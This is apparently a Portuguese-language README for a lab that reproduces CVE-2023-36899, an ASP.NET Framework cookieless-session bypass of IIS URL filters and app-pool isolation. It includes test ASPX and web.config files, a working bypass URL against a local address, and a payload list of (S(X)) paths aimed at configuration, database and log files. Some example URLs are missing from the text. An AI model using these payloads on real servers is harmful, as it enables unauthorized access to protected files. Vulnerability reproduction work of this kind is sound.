
CVE-2023-36899漏洞的复现环境和工具,针对ASP.NET框架中的无cookie会话身份验证绕过。
Ambiente de reprodução e ferramentas para a vulnerabilidade CVE-2023-36899, referente à bypass de autenticação de sessão sem cookies no ASP.NET Framework.
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
No desenvolvimento web moderno, embora os cookies sejam o método preferido para transmitir IDs de sessão, o .NET Framework também oferece uma alternativa: codificar o ID de sessão diretamente na URL. Essa técnica é chamada de recurso "sem cookies" no .NET Framework. Muitos desenvolvedores e testadores de segurança negligenciam essa opção, pois é raramente vista em aplicações reais. No entanto, tornou-se uma mina de ouro para descobrir vulnerabilidades no lado do cliente, como fixação de sessão, sequestro de sessão, injeção de HTML e cross-site scripting. Além disso, esse recurso pode ser explorado para contornar regras de firewall baseadas em caminho que não estão configuradas para reconhecer o método sem cookies. Devido a problemas de segurança inerentes, o .NET Core e versões posteriores do .NET omitiram o recurso sem cookies. Mas não podemos esquecer a vasta quantidade de aplicações web que ainda usam o .NET Framework clássico.
Pontos-chave:
O recurso sem cookies do .NET Framework pode ser abusado para acessar diretórios protegidos ou diretórios bloqueados pelos filtros de URL do IIS. Por exemplo, considere o seguinte cenário no site victim.com:
Normalmente, acessar essas páginas através das URLs seria bloqueado no IIS:
Porém, podemos usar o recurso sem cookies para acessar essas páginas através dos seguintes padrões:
Como o IIS gerencia pools de aplicativos pode levar a escalonamento de privilégios ou bypass de segurança. É possível manipular o recurso sem cookies do .NET Framework para forçar uma aplicação IIS a usar o pool de aplicativos pai em vez do seu próprio pool. Por exemplo:
Um arquivo C# chamado AppPoolPrint.aspx pode ser acessado em todas as aplicações acima, exibindo o nome do pool de aplicativos atual. Usando o recurso sem cookies duas vezes, podemos fazer esta página rodar usando o pool de aplicativos pai:
Isso permite que, mesmo páginas em /classic/nodotnet/ (que não deveriam executar código gerenciado) possam rodar páginas ASPX usando o pool de aplicativos pai. Esse comportamento pode levar ao escalonamento de privilégios no IIS.
Ao instalar o IIS, selecione:
Conteúdo de teste para o arquivo target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Teste ASPX</title>
</head>
<body>
Este é um texto estático. <br>
Texto dinâmico: <%= DateTime.Now.ToString() %>
</body>
</html>
Conteúdo de teste para o arquivo web.config na raiz:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Onde
<sessionState mode="InProc" cookieless="UseCookies" />significa que o site usa cookies para armazenar informações de sessão padrão, sendo esse o comportamento padrão também.

Usando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx acesso bem-sucedido

Possíveis payloads list:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899